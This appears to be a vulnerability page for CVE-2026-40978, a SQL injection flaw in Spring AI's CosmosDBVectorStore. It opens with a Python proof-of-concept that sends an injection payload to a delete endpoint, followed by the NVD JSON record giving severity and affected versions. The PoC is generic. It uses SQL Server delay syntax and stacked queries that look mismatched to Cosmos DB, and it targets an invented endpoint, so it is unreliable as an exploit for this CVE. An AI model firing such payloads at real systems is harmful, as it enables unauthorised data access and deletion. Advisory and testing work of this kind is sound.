CVE-2026-40978

import requests # Target URL (Example) target_url = "http://vulnerable-app/api/documents/delete" # Malicious payload exploiting the SQL Injection in Document ID # Attempting to perform a boolean-based blind injection or time-based payload_id = "1' OR 1=1; WAITFOR DELAY '0:0:5'--" data = { "id": payload_id } try: response = requests.post(target_url, json=data) if response.status_code == 200: print("[+] Potential vulnerability confirmed based on response timing or content.") else: print("[-] Request failed or blocked.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-40978", "sourceIdentifier": "[email protected]", "published": "2026-04-28T09:16:16.583", "lastModified": "2026-04-29T18:16:36.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection vulnerability in Spring AI's `CosmosDBVectorStore` allows attackers to execute arbitrary SQL queries via crafted document IDs.\n\nAffected versions:\nSpring AI: 1.0.0 - 1.0.5 (fixed in 1.0.6), 1.1.0 - 1.1.4 (fixed in 1.1.5)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.0.6", "matchCriteriaId": "1CD6DC44-CDE8-47E4-A788-6D8AE716396F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndExcluding": "1.1.5", "matchCriteriaId": "5013645B-3914-4A40-8D42-CB47344963A7"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-40978", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}